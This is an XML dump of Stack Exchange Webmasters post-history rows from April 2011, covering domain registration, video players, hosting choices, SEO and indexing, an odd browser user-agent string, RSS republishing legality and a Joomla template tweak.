  <row Id="30036" PostHistoryTypeId="25" PostId="13061" RevisionGUID="b9495e08-5b1c-4f17-bac2-10429cc7b2c7" CreationDate="2011-04-29T00:09:23.427" Comment="http://twitter.com/#!/StackWebmasters/status/63756729019678720" />
  <row Id="30037" PostHistoryTypeId="2" PostId="13064" RevisionGUID="56895cdf-d011-400a-965b-a1a2b3c34841" CreationDate="2011-04-29T00:14:04.170" UserId="7179" Text="The title says it all. Where could I go to register the domain?" />
  <row Id="30038" PostHistoryTypeId="1" PostId="13064" RevisionGUID="56895cdf-d011-400a-965b-a1a2b3c34841" CreationDate="2011-04-29T00:14:04.170" UserId="7179" Text="Is it possible to register a &quot;.er&quot; domain. If so, how?" />
  <row Id="30039" PostHistoryTypeId="3" PostId="13064" RevisionGUID="56895cdf-d011-400a-965b-a1a2b3c34841" CreationDate="2011-04-29T00:14:04.170" UserId="7179" Text="&lt;domain-registration&gt;" />
  <row Id="30040" PostHistoryTypeId="2" PostId="13065" RevisionGUID="aeb21129-ff45-48c4-b061-517620fd544e" CreationDate="2011-04-29T00:16:11.553" UserId="1253" Text="No. [It is not available for registration at this time.][1] [More][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rwgusa.net/er.htm&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/.er" />
  <row Id="30041" PostHistoryTypeId="2" PostId="13066" RevisionGUID="e8c2427d-5ffa-4b25-a4cc-2ab8d95e9048" CreationDate="2011-04-29T01:53:12.793" UserId="7180" Text="I'm looking for something like this video player (http://www.be-creative.tv/#/brian-Leonard-02-02/) or something very similar. Does anyone have any ideas? Doesn't necessarily have to be free. HTML 5 would be preferred as well. Thanks!" />
  <row Id="30042" PostHistoryTypeId="1" PostId="13066" RevisionGUID="e8c2427d-5ffa-4b25-a4cc-2ab8d95e9048" CreationDate="2011-04-29T01:53:12.793" UserId="7180" Text="What type of video player is this?" />
  <row Id="30043" PostHistoryTypeId="3" PostId="13066" RevisionGUID="e8c2427d-5ffa-4b25-a4cc-2ab8d95e9048" CreationDate="2011-04-29T01:53:12.793" UserId="7180" Text="&lt;wordpress&gt;&lt;html5&gt;&lt;video&gt;&lt;flash&gt;" />
  <row Id="30044" PostHistoryTypeId="2" PostId="13067" RevisionGUID="5aa71aa2-eb92-4e51-9570-8bf57380e0f8" CreationDate="2011-04-29T02:24:56.970" UserId="6634" Text="Are you a huge company with unlimited resources, like American Airlines? &#xD;&#xA;&#xD;&#xA;Are you a company with a bland Acme-style name that's easily mistaken for a hundred other companies?&#xD;&#xA;&#xD;&#xA;If no, buying a bunch of domains just to redirect them to your site sounds excessive and like a waste of money. Put those resources into creating great content." />
  <row Id="30045" PostHistoryTypeId="2" PostId="13068" RevisionGUID="265a2242-b142-482a-a8a1-e37fd9966a8b" CreationDate="2011-04-29T02:31:40.300" UserId="6634" Text="Domains like the one to which you allude, with four words separated by three dashes, look trashy. Everyone will be able to see what you're trying to do, even the people who don't know anything about SEO and don't even know that SEO exists or is possible. Everyone knows that spammers do that with their domains.  &#xD;&#xA;&#xD;&#xA;What you're describing sounds like a waste of money. You already have a relevant domain. You should work on turning that into a brand. I might change my mind if I knew the exact actual domains in question." />
  <row Id="30046" PostHistoryTypeId="2" PostId="13069" RevisionGUID="228e61be-593b-47b7-b5e4-c00fea5b5e9e" CreationDate="2011-04-29T02:38:09.760" UserId="5157" Text="That's a flash video player. There are hundreds of them here: http://activeden.net/category/flash/video-players" />
  <row Id="30047" PostHistoryTypeId="2" PostId="13070" RevisionGUID="c138cf6a-c3a9-4745-ac58-ef8f97797993" CreationDate="2011-04-29T02:42:04.233" UserId="5157" Text="Most people run CF on Windows servers. It can run on either one, it's just a preference. I don't use CF, I do everything on LAMP (Linux, Apache, MySQL and PHP) servers." />
  <row Id="30048" PostHistoryTypeId="2" PostId="13071" RevisionGUID="ed3215a8-226f-4d9b-a6d1-6c4a41f2d1c5" CreationDate="2011-04-29T02:42:59.130" UserId="6033" Text="If you're going to stay within the control panel provided by Godaddy, then you probably won't see much of a difference between IIS (Windows) and Apache (Linux). If MySQL is truly a requirement then I would use Linux. I'm not even sure that MySQL is available on godaddy Windows packages. MySQL is generally run on Linux setups. ColdFusion should work on either. &#xD;&#xA;&#xD;&#xA;The more popular open source apps are written to work best on Apache. So if programs like wordpress or free cms systems are in your future, then stick with Apache. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="30049" PostHistoryTypeId="25" PostId="13058" RevisionGUID="f19d9e56-1837-4b23-b75e-713e93997c54" CreationDate="2011-04-29T03:09:23.543" Comment="http://twitter.com/#!/StackWebmasters/status/63802028434001920" />
  <row Id="30050" PostHistoryTypeId="2" PostId="13072" RevisionGUID="9f987b95-3279-4a99-93d5-8c0af55b46f9" CreationDate="2011-04-29T03:11:56.147" UserId="7181" Text="my website is [www.luxliving.com.au][1]. I'm trying to increase the conversion rate for my website. Should I open an Ebay account and try to redirect customers from Ebay to my website?&#xD;&#xA;&#xD;&#xA;Kind Regards,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.luxliving.com.au" />
  <row Id="30051" PostHistoryTypeId="1" PostId="13072" RevisionGUID="9f987b95-3279-4a99-93d5-8c0af55b46f9" CreationDate="2011-04-29T03:11:56.147" UserId="7181" Text="Should I set up an Ebay account besides my website at www.luxliving.com.au" />
  <row Id="30052" PostHistoryTypeId="3" PostId="13072" RevisionGUID="9f987b95-3279-4a99-93d5-8c0af55b46f9" CreationDate="2011-04-29T03:11:56.147" UserId="7181" Text="&lt;conversions&gt;" />
  <row Id="30053" PostHistoryTypeId="2" PostId="13073" RevisionGUID="9bc722da-1f79-40f5-ae06-d72e5d4b7173" CreationDate="2011-04-29T03:26:33.757" UserId="4502" Text="If you want &lt;em&gt;that&lt;/em&gt; player, you can &lt;a href=&quot;http://activeden.net/item/clean-white-video-player/82263&quot;&gt;get it at ActiveDen&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;If you need something you can depend on, &lt;a href=&quot;http://www.longtailvideo.com/players/jw-flv-player/&quot;&gt;JWPlayer&lt;/a&gt; is near-ubiquitous, heavily tested, and skinnable to look pretty much however you want if you put a little work into it. See my comment above about why this question is tagged with &quot;wordpress,&quot; but if you do need integration, &lt;a href=&quot;http://wordpress.org/extend/plugins/jw-player-plugin-for-wordpress/&quot;&gt;there's a plugin&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;If you want free(and HTML5), consider &lt;a href=&quot;http://videojs.com/&quot;&gt;VideoJS&lt;/a&gt;." />
  <row Id="30054" PostHistoryTypeId="2" PostId="13074" RevisionGUID="e4ede3f6-4549-47cb-a5c0-8f66ced648ec" CreationDate="2011-04-29T04:09:06.153" UserId="1064" Text="SEOmoz's [Open Site Explorer][1] will provide a backlink report which includes linking pages' titles and URL's for the top 1000 linking pages.&#xD;&#xA;&#xD;&#xA;Google's own Webmaster Tools includes a [Links To Your Site][2] tool which includes backlink URL's for a nearly-comprehensive list of the linking pages which factor in to your site's ranking (note that nofollow links will not appear in this report) - you have the option to download the report's results as a CSV file if you want to spider linking pages to retrieve title information.&#xD;&#xA;&#xD;&#xA;Google PageRank is not factored in with any of the services I am familiar with, though you have the option to research that on your own (keep in mind that you will never be presented with the effective PageRank ... [unless/until you're working for Google][3]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=55281&#xD;&#xA;  [3]: http://groups.google.com/group/google_webmaster_help-indexing/browse_thread/thread/77e0c49987b66913?fwc=1&amp;pli=1" />
  <row Id="30060" PostHistoryTypeId="25" PostId="13064" RevisionGUID="b15c8aaf-a318-4734-87e2-7f639e700751" CreationDate="2011-04-29T06:09:23.477" Comment="http://twitter.com/#!/StackWebmasters/status/63847327076593665" />
  <row Id="30061" PostHistoryTypeId="2" PostId="13077" RevisionGUID="0b1c4733-7d03-4134-a60e-023133573121" CreationDate="2011-04-29T08:06:02.737" UserId="5428" Text="what is this user agent&#xD;&#xA;&#xD;&#xA;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Whirlpool BD2; H010818)&#xD;&#xA;&#xD;&#xA;this came from a ip address tracing to the organisation Websense&#xD;&#xA;&#xD;&#xA;the question also [here][1]&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/264633/what-is-user-agent-whirlpool-bd2-h010818" />
  <row Id="30062" PostHistoryTypeId="1" PostId="13077" RevisionGUID="0b1c4733-7d03-4134-a60e-023133573121" CreationDate="2011-04-29T08:06:02.737" UserId="5428" Text="what is user agent Whirlpool BD2; H010818" />
  <row Id="30063" PostHistoryTypeId="3" PostId="13077" RevisionGUID="0b1c4733-7d03-4134-a60e-023133573121" CreationDate="2011-04-29T08:06:02.737" UserId="5428" Text="&lt;user-agent&gt;" />
  <row Id="30064" PostHistoryTypeId="2" PostId="13078" RevisionGUID="52e263f2-afdc-4178-ab6f-b2b5a50ef01b" CreationDate="2011-04-29T08:08:17.103" UserId="1606" Text="I want to display the feeds from multiple news website on my website and create a site which would be something like http://paper.li &#xD;&#xA;&#xD;&#xA;So is it legal to display those feeds directly on my website? The site is not a feed reader, but I want to pick specific news article from the feed and display them.&#xD;&#xA;" />
  <row Id="30065" PostHistoryTypeId="1" PostId="13078" RevisionGUID="52e263f2-afdc-4178-ab6f-b2b5a50ef01b" CreationDate="2011-04-29T08:08:17.103" UserId="1606" Text="Is it legal to show RSS feeds on my website from another website" />
  <row Id="30066" PostHistoryTypeId="3" PostId="13078" RevisionGUID="52e263f2-afdc-4178-ab6f-b2b5a50ef01b" CreationDate="2011-04-29T08:08:17.103" UserId="1606" Text="&lt;legal&gt;&lt;rss&gt;&lt;copyright&gt;&lt;feeds&gt;" />
  <row Id="30067" PostHistoryTypeId="2" PostId="13079" RevisionGUID="a4ad43b6-6a93-4f2e-b73c-d09dc109cec4" CreationDate="2011-04-29T08:13:16.583" UserId="5428" Text="we can also do this using a free name server and we can update the nameserver automatically of our dynamic ip&#xD;&#xA;&#xD;&#xA;http://freedns.afraid.org/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30068" PostHistoryTypeId="2" PostId="13080" RevisionGUID="246ddcda-6dff-4d2a-9b8f-f5a55554947a" CreationDate="2011-04-29T08:21:09.833" UserId="3790" Text="If you want more customers, yes you should!&#xD;&#xA;But it's better to use it to get customers to your site only because Ebay is quite expensive." />
  <row Id="30069" PostHistoryTypeId="2" PostId="13081" RevisionGUID="9e096b1d-3015-4659-8c20-4aa1d6247faa" CreationDate="2011-04-29T08:30:29.923" UserId="7186" Text="I have a website located at: [http://www.fifthvedaentrepreneurs.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fifthvedaentrepreneurs.com&#xD;&#xA;I am trying to get this website ranking as high as possible on Google with the Keyword &quot;Sushil Handa&quot; (promoter of the company). How do I do that? I am using various link building strategies but not very successfull so far.&#xD;&#xA;&#xD;&#xA;Please share your ideas. Thanks in adavance for your kind co-operation.&#xD;&#xA;&#xD;&#xA;Sincere Regards,&#xD;&#xA;&#xD;&#xA;Sushil Handa&#xD;&#xA;&#xD;&#xA;CEO - The Fifthveda Entrepreneurs" />
  <row Id="30070" PostHistoryTypeId="1" PostId="13081" RevisionGUID="9e096b1d-3015-4659-8c20-4aa1d6247faa" CreationDate="2011-04-29T08:30:29.923" UserId="7186" Text="How to increase site ranking? for a keyword: Sushil Handa" />
  <row Id="30071" PostHistoryTypeId="3" PostId="13081" RevisionGUID="9e096b1d-3015-4659-8c20-4aa1d6247faa" CreationDate="2011-04-29T08:30:29.923" UserId="7186" Text="&lt;seo&gt;&lt;search&gt;&lt;optimization&gt;" />
  <row Id="30072" PostHistoryTypeId="2" PostId="13082" RevisionGUID="d45c86c1-5fca-4e8b-a444-8c9388521658" CreationDate="2011-04-29T08:50:48.597" UserId="6314" Text="Why not an Internet-connected Refrigerator Browser?&#xD;&#xA;&#xD;&#xA;Whirlpool make something like that in 2k.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 5.5; Windows 98; Whirlpool BD2)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 5.5; Windows 98; Whirlpool BD2; FunWebProducts)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 5.5; Windows NT 5.0; Whirlpool BD2)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 5.5; Windows NT 5.0; Whirlpool BD2; .NET CLR 1.1.4322)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 5.5; Windows NT 5.0; Whirlpool BD2; FunWebProducts)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows 98; Whirlpool BD2)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows 98; Whirlpool BD2; .NET CLR 1.1.4322)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows 98; Whirlpool BD2; YComp 5.0.0.0&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows 98; Whirlpool Std 6)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool BD2)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool BD2; .NET CLR 1.0.3705; .NET CLR 1.1.4322)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool BD2; .NET CLR 1.1.4322)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool BD2; H010818)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool Std 6)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool Std 6; (R1 1.5))&#xD;&#xA;&gt; &#xD;&#xA;&gt; Browser Mozilla/4.0 (compatible; MSIE&#xD;&#xA;&gt; 6.0; Windows NT 5.0; Whirlpool Std 6; .NET CLR 1.1.4322)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30073" PostHistoryTypeId="17" PostId="13084" RevisionGUID="05e4e2a2-2501-4166-b49d-bd7a688c2f55" CreationDate="2011-04-29T09:08:53.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5826669/best-approach-to-have-google-index-content-primarily-generated-by-javascript/5826918#5826918" Text="" />
  <row Id="30074" PostHistoryTypeId="2" PostId="13084" RevisionGUID="b248e6f7-4214-4d14-91a1-1f790f46bcc6" CreationDate="2011-04-29T01:27:30.027" UserDisplayName="rob" Text="Your &quot;tag&quot; can be a combination of an A element and snippet of javascript.  The href of the A element points to a crawlable page with your content, intended to be seen by search engines and those without javascript.  For users with javascript, the A element gets replaced with the dynamic content (it can parse the href to determine which content to serve, to simplify things for those who want to drop it into their site).  Users without javascript (and therefore search engines) will see a link to the content.&#xD;&#xA;&#xD;&#xA;Also, on the content page, you can use javascript to send users back to the dynamic page.  That way, if someone arrives via search engine, they'll go to the page that linked them there.&#xD;&#xA;&#xD;&#xA;It's challenging to set it up so it doesn't make it complex for people to drop your dynamic content into their site, but shouldn't be that hard." />
  <row Id="30075" PostHistoryTypeId="2" PostId="13083" RevisionGUID="ff1ab02b-d2bf-42f3-8d4e-b004c8866674" CreationDate="2011-04-29T00:41:39.447" UserDisplayName="Sean Coleman" Text="I'm developing an app where customers can drop in a Javascript tag onto their website, and it will generate content. What is the best approach to have Google index this content and associate it with the site's URL. &#xD;&#xA;&#xD;&#xA;I know that Google doesn't execute JS, so I'm thinking of different angles. I could have Google index the content on the site where the content is comping from (not the customer's site) but then it obviously will be indexed with the wrong URL. Could I somehow get Google to display a different URL? Is there another approach to get Google to index content from another site but associate it with &#xD;&#xA;&#xD;&#xA;The constraints are:&#xD;&#xA;&#xD;&#xA; - The customer website can only drop in one section of code (ideally a JS tag).&#xD;&#xA; - I have full control of the original content, albeit on a different site. &#xD;&#xA; - The customer website can't do any server-side processing to specifically solve this. &#xD;&#xA;&#xD;&#xA;Ideally, the web visitors would see the JS generated content when viewing the site, but Google bot would get fed content from another web page (which is the same content, but from the raw source). I just don't know how to do this without JS. " />
  <row Id="30076" PostHistoryTypeId="1" PostId="13083" RevisionGUID="ff1ab02b-d2bf-42f3-8d4e-b004c8866674" CreationDate="2011-04-29T00:41:39.447" UserDisplayName="Sean Coleman" Text="Best approach to have Google index content primarily generated by Javascript" />
  <row Id="30077" PostHistoryTypeId="3" PostId="13083" RevisionGUID="ff1ab02b-d2bf-42f3-8d4e-b004c8866674" CreationDate="2011-04-29T00:41:39.447" UserDisplayName="Sean Coleman" Text="&lt;javascript&gt;&lt;search&gt;&lt;google&gt;&lt;seo&gt;&lt;indexing&gt;" />
  <row Id="30078" PostHistoryTypeId="17" PostId="13083" RevisionGUID="a691e237-cec2-42d9-ba77-ce87d0f517a9" CreationDate="2011-04-29T09:08:53.420" UserId="-1" Comment="from http://stackoverflow.com/questions/5826669/best-approach-to-have-google-index-content-primarily-generated-by-javascript" Text="" />
  <row Id="30079" PostHistoryTypeId="17" PostId="13086" RevisionGUID="a4d77bd7-4445-4c0c-b611-4e3e5f352034" CreationDate="2011-04-29T09:09:06.527" UserId="-1" Comment="from http://stackoverflow.com/questions/5803024/how-to-correctly-index-multilanguage-home-page-while-having-a-default-portal-lang/5805232#5805232" Text="" />
  <row Id="30080" PostHistoryTypeId="2" PostId="13086" RevisionGUID="402e5bfd-3e0b-4f40-8682-1a4f4116670b" CreationDate="2011-04-27T13:53:18.083" UserId="251" Text="Do you still have the link to switch languages on the homepage (so that Google has a way to get from www.zicaffe.com to www.zicaffe.com/en/home.aspx)?  If so, I think you probably just need to wait for Google to index.&#xD;&#xA;&#xD;&#xA;In terms of only having page rank for the Italian pages, are the links that you have mostly links to the Italian pages?  Could it just be a reflection of the actual links to your site?&#xD;&#xA;&#xD;&#xA;The one thing in this scenario that seems questionable to me is the 301 redirect from the home page.  A 301 says that the redirect is permanent and should never be evaluated again, but the redirect isn't always to the same place.  That sounds more like a 302 to me...&#xD;&#xA;&#xD;&#xA;For your third question, if your Italian pages are still highly accessible within the site, I wouldn't think that switching the default language would get the Google index too turned around." />
  <row Id="30081" PostHistoryTypeId="2" PostId="13085" RevisionGUID="8858b469-c723-4dc9-88fb-4fbf1fd83376" CreationDate="2011-04-27T11:04:33.867" UserDisplayName="peppezic" Text="Hi there this is my first post so first of all sorry for boring or for any mistake.&#xD;&#xA;&#xD;&#xA;I read many post on how to correctly index a multilanguage site but none of them really answer to my question.&#xD;&#xA;&#xD;&#xA;This is my scenario:  &#xD;&#xA;I have a two language (italian, english) site [www.zicaffe.com] with all contents correctly localized (meta infos, title, page descriptions and so on).   &#xD;&#xA;As suggested by google each page has its unique url (with localized keywords) that identifies a page and its (localized) content (eg. www.zicaffe.com/en/company.aspx identifies the english version while www.zicaffe.com/it/azienda.aspx the italian one). Each page includes a cross-link who allows users to manually switch to the other available language.&#xD;&#xA;&#xD;&#xA;Apparently this is supposed to be the perfect scenario, but there's an exception regarding the home (index) page:  &#xD;&#xA;Accessing www.zicaffe.com, the site automatically redirects the browser, through a 301 Moved permanently, to a localized version of the page: www.zicaffe.com/en/home.aspx if the browser send en or en-US accept-language in the header; to www.zicaffe.com/it/home.aspx if the browser accepts it or it-IT or to the default language (italian yet) otherwise.&#xD;&#xA;&#xD;&#xA;These are the questions:  &#xD;&#xA;1) Since googlebot is not sending any accept language in the header, it is going to show only the default language version of the home page in SERP?&#xD;&#xA;&#xD;&#xA;2) For some reason (probably because we are an italian company?), right now only the italian pages (default language) have a page rank and a sitelink. Is it normal?&#xD;&#xA;&#xD;&#xA;and the most important:  &#xD;&#xA;3) What happens if in the future I change the default site language to english? Am I going to loose all the good results achieved for italian queries?&#xD;&#xA;&#xD;&#xA;Please do not suggest to read the following posts:    &#xD;&#xA;&#xD;&#xA;* http://www.google.com/support/forum/p/Webmasters/thread?tid=37173fa9cff11a12&amp;hl=en  &#xD;&#xA;* http://googlewebmastercentral.blogspot.com/2010/03/working-with-multilingual-websites.html&#xD;&#xA;&#xD;&#xA;Any other answer would be precious.&#xD;&#xA;&#xD;&#xA;Regards." />
  <row Id="30082" PostHistoryTypeId="1" PostId="13085" RevisionGUID="8858b469-c723-4dc9-88fb-4fbf1fd83376" CreationDate="2011-04-27T11:04:33.867" UserDisplayName="peppezic" Text="How to correctly index multilanguage home page while having a default portal language" />
  <row Id="30083" PostHistoryTypeId="3" PostId="13085" RevisionGUID="8858b469-c723-4dc9-88fb-4fbf1fd83376" CreationDate="2011-04-27T11:04:33.867" UserDisplayName="peppezic" Text="&lt;seo&gt;&lt;crawling&gt;" />
  <row Id="30084" PostHistoryTypeId="17" PostId="13085" RevisionGUID="2c7f7511-0fca-4232-b96b-056e8cb00bbb" CreationDate="2011-04-29T09:09:06.527" UserId="-1" Comment="from http://stackoverflow.com/questions/5803024/how-to-correctly-index-multilanguage-home-page-while-having-a-default-portal-lang" Text="" />
  <row Id="30085" PostHistoryTypeId="25" PostId="13077" RevisionGUID="8d03259a-6338-4746-94b0-c7ec4471951f" CreationDate="2011-04-29T09:09:23.500" Comment="http://twitter.com/#!/StackWebmasters/status/63892624653828096" />
  <row Id="30086" PostHistoryTypeId="2" PostId="13087" RevisionGUID="ad4dd738-149c-444f-a4ed-ed2208fba16e" CreationDate="2011-04-29T09:15:45.410" UserId="4502" Text="If that &quot;redirect customers from Ebay&quot; bit means what I think it does, they specifically &lt;a href=&quot;http://pages.ebay.com/help/policies/rfe-spam-non-ebay-sale.html&quot;&gt;do not allow&lt;/a&gt; contacting people through their system or using information obtained from within Ebay to offer outside sales. It will get you shut down." />
  <row Id="30087" PostHistoryTypeId="2" PostId="13088" RevisionGUID="d071ee0b-c0ea-4a71-a92c-5b6a71293307" CreationDate="2011-04-29T09:16:34.923" UserId="2621" Text="Just buy hosting they cost like 5$ a month. You will pay more on your electric bill. " />
  <row Id="30088" PostHistoryTypeId="2" PostId="13089" RevisionGUID="8c3b7f08-8846-4c39-8fdb-887a0ab79fa6" CreationDate="2011-04-29T09:25:40.703" UserId="3790" Text="I have a module with articles created with the displaynews plugin.&#xD;&#xA;If I click the read more of the articles they go to the full article.&#xD;&#xA;But I want them to go to a category blog layout and scroll to the correct article (using the id).&#xD;&#xA;&#xD;&#xA;Any idea how this works? I don't even know how to change the link of the read more..&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="30089" PostHistoryTypeId="1" PostId="13089" RevisionGUID="8c3b7f08-8846-4c39-8fdb-887a0ab79fa6" CreationDate="2011-04-29T09:25:40.703" UserId="3790" Text="Joomla change read more link to blog layout id" />
  <row Id="30090" PostHistoryTypeId="3" PostId="13089" RevisionGUID="8c3b7f08-8846-4c39-8fdb-887a0ab79fa6" CreationDate="2011-04-29T09:25:40.703" UserId="3790" Text="&lt;php&gt;&lt;joomla&gt;" />
  <row Id="30091" PostHistoryTypeId="2" PostId="13090" RevisionGUID="4c552a9f-0117-44cb-a218-6dae6083d364" CreationDate="2011-04-29T09:36:23.497" UserId="4502" Text="To clarify something, paper.li shows excerpts. Generally speaking, that'll fall under fair use, if that concept applies where you're operating. If it doesn't, most people/sites will just see it as reasonable and not complain.&#xD;&#xA;&#xD;&#xA;If you plan to actually output the feed content wholesale, you'll probably be seen as having crossed a line, particularly by sites that provide full content in their feeds. Some sites explicitly allow republishing, in which case do whatever you want.&#xD;&#xA;&#xD;&#xA;All of the above is roughly from the perspective of whether it's &quot;okay&quot; to republish content in general practice. You don't really say whether this is just a personal project or something you plan to do as a business, but if you want actual legal advice, you should talk to a lawyer." />
  <row Id="30092" PostHistoryTypeId="2" PostId="13091" RevisionGUID="c5669057-3eaf-49ec-a245-0f81e427b6fe" CreationDate="2011-04-29T09:36:48.993" UserId="3790" Text="Thanks but that's now working for me, I found this solution:&#xD;&#xA;&#xD;&#xA;change &#xD;&#xA;&#xD;&#xA;    echo JText::sprintf('Read more', $this-&gt;escape($this-&gt;item-&gt;title));  &#xD;&#xA;to  &#xD;&#xA;&#xD;&#xA;    echo JText::_('READ MORE');  &#xD;&#xA;&#xD;&#xA;And you can change the text in language/nl-NL.com_content.ini and the other languages too  &#xD;&#xA;just search for read more" />
  <row Id="30093" PostHistoryTypeId="17" PostId="13093" RevisionGUID="1be16b1e-74af-4877-b723-bbd8caeaa022" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills/1604843#1604843" Text="" />
  <row Id="30094" PostHistoryTypeId="17" PostId="13094" RevisionGUID="8d6c2940-f2b9-47db-ae18-216ba5a78eb3" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills/1604854#1604854" Text="" />
  <row Id="30095" PostHistoryTypeId="17" PostId="13095" RevisionGUID="7d5faa29-dfc0-436b-9cca-8583ece8c44e" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills/1604895#1604895" Text="" />
  <row Id="30096" PostHistoryTypeId="17" PostId="13096" RevisionGUID="89291815-af07-4929-bf2e-253f3385f206" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills/1605042#1605042" Text="" />
  <row Id="30097" PostHistoryTypeId="17" PostId="13097" RevisionGUID="9347eab6-7712-4cc3-a640-982c5f834d5b" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills/1612033#1612033" Text="" />
  <row Id="30098" PostHistoryTypeId="17" PostId="13098" RevisionGUID="2c052127-8517-4b75-9aee-f05d3164d1e6" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills/2876491#2876491" Text="" />
  <row Id="30100" PostHistoryTypeId="2" PostId="13093" RevisionGUID="ce50961b-3cb4-44f9-9493-a80955c890f1" CreationDate="2009-10-22T03:17:44.070" UserId="1897" Text="They need to provide everything you need, but you need to ask for it in their language, like you would with any other customer.&#xD;&#xA;&#xD;&#xA;As a web designer for a client, you wouldn't ask the client to take an HTML class first, would you?&#xD;&#xA;" />
  <row Id="30101" PostHistoryTypeId="2" PostId="13094" RevisionGUID="8b6dafb4-43ad-4042-ad0e-0adcf39b3997" CreationDate="2009-10-22T03:21:16.557" UserDisplayName="FrustratedWithFormsDesigner" Text="It would be nice if they have HTML experience, but more often than not, they don't seem to. Is there anyone at the company that could be officialy designated as a part-time HTML assistant for marketing, so it's an allocated part of their time on their timesheets?&#xD;&#xA;&#xD;&#xA;Another option would be to give them access to the content directly (but not in production, only in  a test environment) through some kind of managed CMS. Many CMSs have HTML editors that don't require the user to actually &lt;i&gt;know&lt;/i&gt; HTML, only click on buttons for bold, italic, etc., just like in Word. Problem is that the CMS may be too restrictive for the Marketing types, who have a very specific vision of what they want. I've seen the CMS route work in some very corporate environments, where they wanted all the content to be similar and conform closely to their standards.&#xD;&#xA;&#xD;&#xA;EDIT: If the term is new to you, CMS == Content Management System." />
  <row Id="30102" PostHistoryTypeId="2" PostId="13095" RevisionGUID="03290543-2d9c-42da-a1aa-fcfcaae43241" CreationDate="2009-10-22T03:33:19.140" UserDisplayName="Alex Martelli" Text="Marketing should not necessarily understand HTML to specify web content, just like they don't have to understand typography to specify printed brochures, cinematic techniques to specify video ads, photography technique to specify image ads, etc.  SOMEbody (ideally a person or two on each side) must be willing to make a substantial effort to understand the other side's techniques, limitations, desires, etc, learn their language, grasp where they're coming from -- such &quot;bridge builders&quot; are always precious resources in any of the many, many situations in business where very disparate teams must cooperate smoothly and effectively." />
  <row Id="30103" PostHistoryTypeId="2" PostId="13096" RevisionGUID="83a0acbb-a9b7-4aba-a441-bd96d16598f2" CreationDate="2009-10-22T04:37:39.387" UserDisplayName="Ryan McGrath" Text="The way I look at it, the web is a fairly specialized field to work in. Anybody who's in this field should have a basic understanding of HTML and how the presentation layer works, whether they're in marketing, middle management, or executive level. That said...&#xD;&#xA;&#xD;&#xA;There's definitely something to be said about the skills of a dedicated frontend developer versus those of someone who does the task in a much smaller scope. Anything intensive should be handed off to someone who actually knows what they're doing; small text changes and such, on the other hand? Provided people know what they're doing, and **respect the position of frontend development**, it's fine to run with." />
